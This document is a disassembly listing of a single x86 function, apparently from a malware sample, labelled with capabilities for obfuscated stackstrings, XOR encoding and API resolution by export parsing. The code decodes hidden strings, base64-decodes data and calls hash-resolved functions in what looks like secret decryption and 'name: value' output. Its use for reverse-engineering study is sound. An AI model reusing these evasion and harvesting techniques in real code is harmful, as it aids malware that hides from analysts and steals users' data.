Function at 0x429cf9
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x460
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x5c], 0xd76ac977
mov dword [esp + 0x60], 0xd373d579
mov dword [esp + 0x64], 0xdf2cd165
mov dword [esp + 0x68], 0xdb62dd71
mov dword [esp + 0x6c], 0xa7a6d975
mov word [esp + 0x70], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x15
ja 0x428715
nop
mov eax, dword [esp + 8]
mov ecx, dword [esp + 8]
movzx ecx, byte [esp + ecx + 0x5c]
mov edx, eax
xor edx, 0x3b26f32e
and eax, 0x3b26f32e
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esp + 0x3c], edx
mov eax, dword [esp + 0x3c]
add al, 0x1a
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x5c], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x16
jb 0x4286d0
lea ebx, [esp + 0x5c]
lea ecx, [esp + 0x48]
push ebx
call fcn.0043e050
shr eax, 0x1f
xor ecx, ecx
jmp dword [eax*4 + 0x44c3d8]
lea ecx, [esp + 0x48]
push 0x410
call fcn.0043e2c0
not eax
shr eax, 0x1f
xor ecx, ecx
jmp dword [eax*4 + 0x44c3e0]
mov dword [esp + 0x5c], 0x4abd745b
mov dword [esp + 0x60], 0x7c4eab54
mov dword [esp + 0x64], 0x70474daf
mov dword [esp + 0x68], 0x657a7693
mov dword [esp + 0x6c], 0x74958a9a
mov dword [esp + 0x70], 0x7d98869b
mov dword [esp + 0x74], 0x62639e66
mov dword [esp + 0x78], 0x66996089
mov dword [esp + 0x7c], 0x968c768e
mov dword [esp + 0x80], 0x6e95a387
mov dword [esp + 0x84], 0x29a68f8f
mov word [esp + 0x88], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x2d
ja 0x42881a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
mov ecx, dword [esp + 8]
movzx ecx, byte [esp + ecx + 0x5c]
mov edx, eax
xor edx, 0xfa5d45d5
and eax, 0xfa5d45d5
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x3c]
mov ecx, eax
not ecx
and ecx, 0x29
and eax, 0xd6
sub eax, ecx
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x5c], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x2e
jb 0x4287d0
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x48]
push 0
push 0x2b
push ebx
push eax
call fcn.0043f040
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x40]
xor eax, eax
cmp edi, esi
sete al
jmp dword [eax*4 + 0x44c3e8]
mov eax, esi
sub eax, edi
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.0040c990
add esp, 4
mov dword [esp + 0x38], 0
xor ecx, ecx
cmp edi, esi
setne cl
mov dword [esp + 0x34], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], esi
jmp dword [ecx*4 + 0x44c3f0]
mov ecx, dword [esp + 0x38]
mov eax, ecx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x44c3f8]
mov esi, dword [esp + 0x34]
jmp dword [0x44c458]
add edi, 8
xor eax, eax
mov esi, dword [esp + 0x24]
cmp edi, esi
setne al
jmp dword [eax*4 + 0x44c3f0]
mov esi, dword [edi]
mov dword [esp + 0x28], edi
mov edi, dword [edi + 4]
push 0x400
push 0
push ebx
call fcn.0040ca10
add esp, 0xc
lea eax, [esp + 8]
lea ecx, [esp + 0x48]
push eax
push 0
push 0x400
push ebx
push edi
push esi
call fcn.0043edd0
cmp eax, 0xc0000000
setae al
mov ecx, dword [esp + 8]
or ecx, dword [esp + 0xc]
sete cl
or cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44c400]
mov eax, 1
mov edi, dword [esp + 0x28]
jmp dword [eax*4 + 0x44c408]
xor eax, eax
mov edi, dword [esp + 0x28]
jmp dword [eax*4 + 0x44c408]
jmp dword [0x44c410]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x44c420]
movzx eax, byte [edx + 1]
inc edx
xor esi, esi
test al, al
mov dword [esp + 0x18], edx
je 0x428971
mov ecx, edx
nop
cmp al, 0x2e
je 0x42896f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x428960
jmp 0x428971
mov esi, ecx
xor eax, eax
test esi, esi
setne al
mov ecx, dword [esp + 0x18]
jmp dword [eax*4 + 0x44c428]
mov edx, esi
sub edx, ecx
lea ecx, [edx + edx*2]
shr ecx, 2
movzx eax, byte [esi - 1]
cmp eax, 0x3d
je 0x42899b
cmp eax, 0x2e
jne 0x42899c
dec ecx
mov eax, dword [esp + 0x18]
movzx eax, byte [eax + edx - 2]
cmp eax, 0x3d
mov dword [esp + 0x2c], edx
je 0x4289b3
cmp eax, 0x2e
jne 0x4289b4
dec ecx
mov dword [esp + 0x58], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040c990
add esp, 4
mov dword [esp + 0x1c], eax
cmp esi, dword [esp + 0x18]
je 0x428ac8
xor ebx, ebx
mov esi, 2
jmp 0x4289f0
lea eax, [esi + 4]
add esi, 2
cmp esi, edx
mov esi, eax
jae 0x428ac8
mov dword [esp + 0x20], ebx
mov edi, dword [esp + 0x18]
movzx eax, byte [edi + esi - 2]
push eax
call fcn.0041eac0
add esp, 4
mov ebx, eax
movzx eax, byte [edi + esi - 1]
push eax
call fcn.0041eac0
add esp, 4
shl bl, 2
mov ecx, eax
shr cl, 4
and cl, 3
or cl, bl
mov edx, dword [esp + 0x1c]
mov ebx, dword [esp + 0x20]
mov byte [edx + ebx], cl
mov ecx, dword [esp + 0x20]
lea ebx, [ecx + 1]
mov edx, dword [esp + 0x2c]
cmp esi, edx
jae 0x4289e0
mov byte [esp + 3], al
mov eax, dword [esp + 0x18]
movzx eax, byte [eax + esi]
push eax
call fcn.0041eac0
mov edx, dword [esp + 0x30]
add esp, 4
cmp al, 0x40
je 0x4289e0
mov ch, al
movzx eax, byte [esp + 3]
shl al, 4
mov cl, ch
shr cl, 2
and cl, 0xf
or cl, al
mov edi, dword [esp + 0x20]
lea ebx, [edi + 2]
mov eax, dword [esp + 0x1c]
mov byte [eax + edi + 1], cl
lea eax, [esi + 1]
cmp eax, edx
jae 0x4289e0
mov eax, dword [esp + 0x18]
movzx eax, byte [eax + esi + 1]
push eax
mov byte [esp + 7], ch
call fcn.0041eac0
movzx ecx, byte [esp + 7]
mov edx, dword [esp + 0x30]
add esp, 4
cmp al, 0x40
je 0x4289e0
shl cl, 6
add al, cl
mov ecx, dword [esp + 0x1c]
mov ebx, dword [esp + 0x20]
mov byte [ecx + ebx + 2], al
add ebx, 3
jmp 0x4289e0
mov eax, dword [esp + 0x58]
mov esi, dword [esp + 0x1c]
mov byte [esi + eax], 0
push esi
call fcn.00403ba0
add esp, 4
mov ebx, eax
jmp dword [0x44c430]
push esi
call fcn.0040c9a0
add esp, 4
push ebx
call fcn.00404680
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
mov edi, dword [esp + 0x28]
jmp dword [ecx*4 + 0x44c438]
mov dword [esp + 0x30], 0x3994a0a1
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 3
ja 0x428b79
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 0x30]
mov esi, ecx
xor esi, 0x84b0c84b
and ecx, 0x4b0c84b
lea ecx, [esi + ecx*2]
xor ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
mov edx, ecx
xor edx, 0x77
and ecx, 8
add ecx, ecx
sub ecx, edx
mov edx, dword [esp + 4]
mov byte [esp + edx + 0x30], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 4
jb 0x428b30
lea ecx, [esp + 0x30]
push ecx
push eax
call fcn.00404440
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44c440]
mov esi, dword [esp + 0x14]
jmp dword [0x44c448]
movzx ecx, byte [eax]
test cl, cl
mov esi, dword [esp + 0x14]
je 0x428bbb
inc eax
nop
nop
nop
nop
nop
mov byte [esi], cl
inc esi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x428bb0
mov byte [esi], 0
mov byte [esi], 0x3a
mov byte [esi + 1], 0x20
add esi, 2
jmp dword [0x44c448]
movzx eax, byte [esp + 0x5c]
mov ecx, esi
test al, al
je 0x428beb
lea edx, [esp + 0x5d]
mov ecx, esi
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [edx]
inc edx
test al, al
jne 0x428be0
mov byte [ecx], 0xa
movzx ecx, byte [esp + 0x5c]
mov eax, esi
test cl, cl
je 0x428c0b
lea edx, [esp + 0x5d]
mov eax, esi
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x428c00
mov byte [eax], 0xa
jmp dword [0x44c454]
inc eax
mov cl, 1
mov dword [esp + 0x38], ecx
mov dword [esp + 0x14], eax
mov esi, dword [esp + 0x24]
push ebx
call fcn.00404c30
add esp, 4
add edi, 8
xor eax, eax
cmp edi, esi
setne al
lea ebx, [esp + 0x5c]
jmp dword [eax*4 + 0x44c3f0]
mov byte [esp + 0x45b], 0
mov byte [esp + 0x45b], 0
movzx eax, byte [esp + 0x5c]
xor edx, edx
test al, al
je 0x428c7d
mov ecx, ebx
nop
nop
nop
cmp al, 0x2e
je 0x428c90
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x428c70
jmp dword [0x44c41c]
mov edx, ecx
jmp dword [0x44c41c]
xor ecx, ecx
test edi, edi
jne 0x428d86
jmp case.0x428728.1
mov ecx, dword [ebp + 8]
mov eax, dword [esp + 0x14]
mov byte [eax], 0
mov esi, dword [esp + 0x34]
mov dword [esp + 0x5c], 0xafd2d181
mov dword [esp + 0x60], 0xd3a7a6ad
mov dword [esp + 0x64], 0xd8a4a6a1
mov dword [esp + 0x68], 0xaadabe63
mov dword [esp + 0x6c], 0x875d9c91
mov dword [esp + 0x70], 0x99939e9b
mov dword [esp + 0x74], 0xe3ee57eb
mov word [esp + 0x78], 0x7de8
mov dword [esp + 0x7a], 0
mov byte [esp + 0x7e], 0
sub dword [esp + 0x14], esi
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x22
ja 0x428d53
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 0x5c]
add eax, 0x1b305d90
xor eax, edx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 0x30
mov edx, dword [esp + 4]
mov byte [esp + edx + 0x5c], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x23
jb 0x428d20
lea eax, [esp + 0x5c]
push dword [esp + 0x14]
push esi
push eax
call fcn.0040d580
mov ecx, eax
jmp dword [0x44c458]
push esi
mov esi, ecx
call fcn.0040c9a0
mov ecx, esi
add esp, 4
and cl, 1
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x40]
test edi, edi
je case.0x428728.1
cmp edi, esi
je case.0x428728.1
push edi
mov esi, ecx
call fcn.0040c9a0
mov ecx, esi
add esp, 4
mov ebx, ecx
lea ecx, [esp + 0x48]
call fcn.0043e480
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov esi, dword [esp + 0x14]
test esi, esi
sete al
jmp dword [eax*4 + 0x44c4c8]
mov ecx, esi
jmp dword [0x44c4d0]
mov eax, esi
jmp 0x42a45a
xor edx, edx
test eax, eax
sete dl
xor ecx, ecx
jmp dword [edx*4 + 0x44c4c0]
jmp dword [ecx*4 + 0x44c460]
jmp dword [0x44c468]
mov eax, 4
xor edx, edx
cmp eax, 4
setb dl
mov esi, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x44c4b8]
push esi
call fcn.0040c9a0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x18]
mov dword [esp], 0x74757677
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 3
ja 0x428eae
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx]
mov esi, ecx
xor esi, 0x6edbb14
and ecx, 0x6edbb14
lea ecx, [esi + ecx*2]
xor ecx, edx
mov dword [esp + 0x24], ecx
mov ecx, dword [esp + 0x24]
add cl, 0x9c
mov edx, dword [esp + 8]
mov byte [esp + edx], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 4
jb 0x428e70
mov ecx, dword [0x450704]
test ecx, ecx
je 0x428ef0
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x450708]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x428ee0
inc esi
cmp ecx, esi
jne 0x428ed0
jmp 0x428ef0
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne case.default.0x428efa
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
cmp dword [esp + 0x14], 0
setne al
jmp dword [eax*4 + 0x44c498]
jmp dword [0x44c4a4]
push ebp
call fcn.004446b0
add esp, 4
push ebp
call fcn.004446b0
add esp, 4
jmp dword [0x44c4ac]
cmp dword [esp + 0x24], 1
sete cl
and al, cl
movzx eax, al
jmp dword [eax*4 + 0x44c4b0]
xor eax, eax
xor edx, edx
cmp eax, 4
setb dl
mov esi, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x44c4b8]
mov eax, 2
xor edx, edx
cmp eax, 4
setb dl
mov esi, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x44c4b8]
push eax
push 1
push dword [0x45070c]
push ecx
call fcn.00441120
add esp, 0x10
xor eax, eax
cmp dword [esp + 0x14], 0
setne al
jmp dword [eax*4 + 0x44c498]
mov eax, 2
xor edx, edx
cmp eax, 4
setb dl
mov esi, 0x20119
xor ecx, ecx
jmp dword [edx*4 + 0x44c4b8]
mov dword [esp + 0x14], 0
jmp dword [0x44c490]
shr eax, 0x1f
jmp dword [eax*4 + 0x44c478]
lea edi, [esp + 0x98]
lea eax, [esp + 0x20]
push edi
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [esp + 0x38]
call fcn.004454f0
add esp, 0x24
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44c480]
mov eax, dword [esp + 0x98]
mov ecx, eax
and ecx, 1
xor eax, 1
lea ecx, [eax + ecx*2]
lea eax, [ecx + ecx]
test ecx, ecx
jns 0x429019
mov eax, 0xffffffff
push eax
call fcn.0040c990
add esp, 4
mov esi, eax
mov dword [esp + 0x24], 0x631c6139
mov dword [esp + 0x28], 0x67126517
mov dword [esp + 0x2c], 0x7b067919
mov dword [esp + 0x30], 0x7f2e7d00
mov dword [esp + 0x34], 0x73067111
mov dword [esp + 0x38], 0x7776750c
mov byte [esp + 0x3c], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x18
ja 0x4290b0
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x24]
mov edx, eax
not edx
or edx, 0x1ec20c68
add edx, eax
xor eax, 0x1ec20c68
lea eax, [eax + edx*2]
add eax, 2
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 0xf8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x24], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x19
jb 0x429070
push edi
push esi
push 0
push ebp
push dword [esp + 0x28]
call fcn.00445b20
add esp, 0x14
shr eax, 0x1f
mov dword [esp + 0x14], esi
jmp dword [eax*4 + 0x44c488]
mov dword [esp + 0x24], 0x99449b78
mov dword [esp + 0x28], 0xa56fa753
mov dword [esp + 0x2c], 0xa17fa373
mov dword [esp + 0x30], 0xad70af7c
mov dword [esp + 0x34], 0xa94eab4b
mov dword [esp + 0x38], 0xb579b77b
mov dword [esp + 0x3c], 0xb17ab379
mov dword [esp + 0x40], 0xbd6cbf67
mov dword [esp + 0x44], 0xb95ebb77
mov dword [esp + 0x48], 0x45974765
mov dword [esp + 0x4c], 0x419e438e
mov dword [esp + 0x50], 0x4d814f99
mov dword [esp + 0x54], 0x49814b92
mov dword [esp + 0x58], 0x558c57ac
mov dword [esp + 0x5c], 0x51a653bb
mov dword [esp + 0x60], 0x5db55faa
mov dword [esp + 0x64], 0x59875bb8
mov dword [esp + 0x68], 0x658d67a4
mov dword [esp + 0x6c], 0x6191638b
mov word [esp + 0x70], 0x6f60
mov byte [ebx + 2], 0
mov word [ebx], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x50
ja 0x4291d3
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x24]
mov edx, eax
xor edx, 0x9ac0c4db
and eax, 0x1ac0c4db
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov ecx, eax
xor ecx, 0x47
and eax, 0x38
add eax, eax
sub eax, ecx
mov ecx, dword [esp]
mov byte [esp + ecx + 0x24], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x51
jb 0x429190
lea eax, [esp + 0x18]
lea ecx, [esp + 0x24]
push 0
push 0
push esi
push eax
push ecx
call fcn.00445080
add esp, 0x14
mov dword [esp + 0x24], 0x99449b78
mov dword [esp + 0x28], 0xa56fa753
mov dword [esp + 0x2c], 0xa17fa373
mov dword [esp + 0x30], 0xad70af7c
mov dword [esp + 0x34], 0xa94eab4b
mov dword [esp + 0x38], 0xb579b77b
mov dword [esp + 0x3c], 0xb17ab379
mov dword [esp + 0x40], 0xbd6cbf67
mov dword [esp + 0x44], 0xb95ebb77
mov dword [esp + 0x48], 0x45974765
mov dword [esp + 0x4c], 0x419e438e
mov dword [esp + 0x50], 0x4d814f99
mov dword [esp + 0x54], 0x49814b92
mov dword [esp + 0x58], 0x558c57ac
mov dword [esp + 0x5c], 0x51a653bb
mov dword [esp + 0x60], 0x5db55faa
mov dword [esp + 0x64], 0x59875bb8
mov dword [esp + 0x68], 0x658d67a4
mov dword [esp + 0x6c], 0x6191638b
mov word [esp + 0x70], 0x6f60
mov byte [ebx + 2], 0
mov word [ebx], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x50
ja 0x4292f3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x24]
mov edx, eax
xor edx, 0x9ac0c4db
and eax, 0x1ac0c4db
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov ecx, eax
xor ecx, 0x47
and eax, 0x38
add eax, eax
sub eax, ecx
mov ecx, dword [esp]
mov byte [esp + ecx + 0x24], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x51
jb 0x4292b0
lea eax, [esp + 0x18]
lea ebp, [esp + 0x24]
push 0
push 0
push esi
push eax
push ebp
call fcn.00445080
add esp, 0x14
jmp dword [0x44c474]
xor eax, eax
jmp 0x42a0c9
mov dword [esp + 0x1c], ecx
push dword [esp + 0x84]
call fcn.0040c9a0
add esp, 4
jmp dword [0x44c63c]
push dword [esp + 0x94]
call fcn.0040c9a0
add esp, 4
mov eax, dword [esp + 0x1c]
mov ecx, eax
and cl, 1
movzx ecx, cl
jmp dword [ecx*4 + 0x44c660]
mov byte [edi], 0
mov dword [esp + 0x24], 0x6d6a6b53
mov dword [esp + 0x28], 0x59494a6f
mov dword [esp + 0x2c], 0x5c505253
mov dword [esp + 0x30], 0x46527291
mov dword [esp + 0x34], 0x759b5843
mov dword [esp + 0x38], 0x475d4259
mov dword [esp + 0x3c], 0x494e8149
mov word [esp + 0x40], 0xbf4c
mov dword [esp + 0x42], 0
sub edi, dword [esp + 0x10]
mov edx, edi
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x21
ja 0x4293fb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x24]
add eax, 0x76c0225b
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov ecx, eax
not ecx
and ecx, 0xc7
and eax, 0x38
sub eax, ecx
mov ecx, dword [esp]
mov byte [esp + ecx + 0x24], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x22
jb 0x4293c0
mov ecx, dword [esp + 0xb4]
push edx
push dword [esp + 0x14]
lea eax, [esp + 0x2c]
push eax
call fcn.0040d580
jmp dword [0x44c668]
push dword [esp + 0x10]
mov esi, eax
call fcn.0040c9a0
mov eax, esi
add esp, 4
and al, 1
jmp 0x42a146
mov dword [esp + 0x24], 0xa5b0aac1
mov dword [esp + 0x28], 0x4e5848a1
mov dword [esp + 0x2c], 0x554d3915
mov dword [esp + 0x30], 0x301f445a
mov dword [esp + 0x34], 0x5a454050
mov dword [esp + 0x38], 0x47473a19
mov dword [esp + 0x3c], 0x4d5f5846
mov dword [esp + 0x40], 0x5553503d
mov word [esp + 0x44], 0xfb57
mov dword [esp + 0x46], 0
mov byte [esp + 0x4a], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x26
ja 0x4294e0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x24]
mov edx, eax
xor edx, 0x44e9417b
and eax, 0xc4e9417b
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esp + 8], edx
mov eax, dword [esp + 8]
add al, 0x99
mov ecx, dword [esp]
mov byte [esp + ecx + 0x24], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x27
jb 0x4294a0
mov ecx, dword [esp + 0x9c]
lea eax, [esp + 0x24]
push eax
call fcn.0042c8b0
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x1c], 0
mov edx, dword [esp + 0x10]
mov dword [esp + 0x78], edx
jmp dword [ecx*4 + 0x44c5a0]
mov eax, dword [case.0x429f97.6]
mov edi, dword [esp + 0x78]
mov ecx, dword [esp + 0x1c]
nop
nop
nop
nop
jmp eax
add eax, 8
mov dword [esp + 0x1c], 0
mov edi, dword [eax]
xor eax, eax
test edi, edi
setne al
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x78], ecx
jmp dword [eax*4 + 0x44c5a8]
add edi, 4
mov edi, dword [edi]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x44c5a8]
mov edx, dword [edi]
cmp dword [edi + 0x18], 3
mov esi, 0
jne case.default.0x429577
mov esi, dword [edi + 0x10]
test edx, edx
setne al
test esi, esi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44c5b0]
mov dword [esp + 0x7c], edx
mov dword [esp + 0x8c], edi
mov dword [esp + 0x14], ebp
mov ecx, esi
nop
mov eax, ecx
inc ecx
cmp byte [eax], 0
jne case.default.0x4295c6
sub eax, esi
mov ecx, eax
and ecx, 1
lea eax, [eax + ecx*2]
shr eax, 1
mov dword [esp + 0x88], eax
inc eax
push eax
call fcn.0040c990
add esp, 4
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
mov dword [esp + 0x90], eax
jmp dword [edx*4 + 0x44c5c8]
mov byte [eax], cl
inc eax
movsx ecx, byte [ebp]
xor ebx, ebx
test ecx, ecx
setne bl
mov esi, ebp
jmp dword [ebx*4 + 0x44c5c8]
lea ebp, [esi + 1]
mov ebx, ecx
or ebx, 0x20
add ebx, 0xffffff9f
cmp ebx, 5
ja case.default.0x42960d
mov ecx, ebx
and ecx, 2
xor ebx, 0xa
lea ecx, [ebx + ecx*2]
movsx ebx, byte [ebp]
xor edx, edx
test ebx, ebx
setne dl
jmp dword [edx*4 + 0x44c5d0]
lea edx, [ecx - 0x30]
mov ebx, ecx
not ebx
and ebx, 0x30
and ecx, 0xffffffcf
sub ecx, ebx
cmp edx, 0xa
jb case.default.0x429644
mov ecx, 0xffffffff
movsx ebx, byte [ebp]
xor edx, edx
test ebx, ebx
setne dl
jmp dword [edx*4 + 0x44c5d0]
shl ecx, 4
add esi, 2
mov edx, ebx
or edx, 0x20
add edx, 0xffffff9f
cmp edx, 5
ja case.default.0x429678
mov ebx, edx
and ebx, 2
xor edx, 0xa
lea edx, [edx + ebx*2]
or edx, ecx
mov byte [eax], dl
inc eax
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x44c5c8]
lea edx, [ebx - 0x30]
mov ebp, ebx
not ebp
and ebp, 0x30
and ebx, 0xffffffcf
sub ebx, ebp
cmp edx, 0xa
jb case.default.0x4296a8
mov ebx, 0xffffffff
or ebx, ecx
mov byte [eax], bl
inc eax
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x44c5c8]
mov byte [eax], 0
push 0
push 0x10
push 0
push dword [esp + 0x88]
call fcn.0042cab0
add esp, 0x10
mov dword [esp + 0x7c], eax
xor esi, esi
mov ecx, dword [case.0x429508.23]
xor eax, eax
mov ebp, dword [esp + 0x80]
cmp ebp, dword [esp + 0x14]
setne al
jmp dword [eax*4 + 0x44c5d8]
mov ebx, dword [ebp + 4]
mov edi, ebx
shr edi, 0x1c
shl ebx, 4
or ebx, 1
xor edi, edx
xor ebx, dword [esp + 0x7c]
xor eax, eax
or ebx, edi
sete al
jmp dword [eax*4 + 0x44c5e0]
mov ebx, 1
jmp dword [ebx*4 + 0x44c5e8]
mov esi, dword [ebp]
xor ebx, ebx
jmp dword [ebx*4 + 0x44c5e8]
add ebp, 8
nop
jmp ecx
xor ebx, ebx
cmp ebp, dword [esp + 0x14]
setne bl
jmp dword [ebx*4 + 0x44c5d8]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44c600]
mov ebp, dword [esp + 0x14]
mov edi, dword [esp + 0x8c]
jmp dword [0x44c610]
mov eax, dword [esp + 0x88]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x90]
mov dword [esp + 0x28], eax
mov eax, 0xffffffff
mov edi, dword [esp + 0x8c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x4297e6
mov dword [esp + 8], eax
mov dword [esp + 0xc], esi
mov dword [esp], 0
mov dword [esp + 4], 0
push 0x6c625980
push dword [0x450710]
call fcn.00443d90
add esp, 8
mov ecx, esp
lea edx, [esp + 8]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x3c]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov ebp, dword [esp + 0x14]
jmp dword [ecx*4 + 0x44c608]
jmp dword [0x44c610]
movzx eax, byte [esi]
test al, al
je 0x42980d
inc esi
mov ecx, dword [esp + 0x78]
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [esi]
inc esi
test al, al
jne 0x429800
jmp 0x429811
mov ecx, dword [esp + 0x78]
mov word [ecx], 0x203a
mov eax, ecx
add eax, 2
mov esi, dword [esp]
test esi, esi
je 0x42984b
mov ecx, dword [esp + 4]
mov edx, esi
and edx, 3
je 0x42984f
xor edi, edi
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x429830
add eax, edi
mov edx, esi
sub edx, edi
mov edi, eax
jmp 0x429851
mov esi, eax
jmp 0x429899
mov edx, esi
cmp esi, 4
mov esi, edi
jb 0x429899
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea esi, [eax + 4]
mov byte [eax + 3], bl
mov eax, esi
add edx, 0xfffffffc
jne 0x429860
mov byte [esi], 0xa
inc esi
mov dword [esp + 0x78], esi
push 0xe050b307
push dword [0x4506f8]
call fcn.00443d90
add esp, 8
push dword [esp + 4]
call eax
mov al, 1
mov dword [esp + 0x1c], eax
mov edi, dword [esp + 0x8c]
jmp dword [0x44c610]
push dword [esp + 0x90]
call fcn.0040c9a0
add esp, 4
add edi, 4
mov edi, dword [edi]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x44c5a8]
mov dword [esp + 0x78], edi
movzx eax, al
xor ebp, ebp
xor ebx, ebx
jmp dword [eax*4 + 0x44c528]
mov dword [esp + 0x24], 0xd7e4eef3
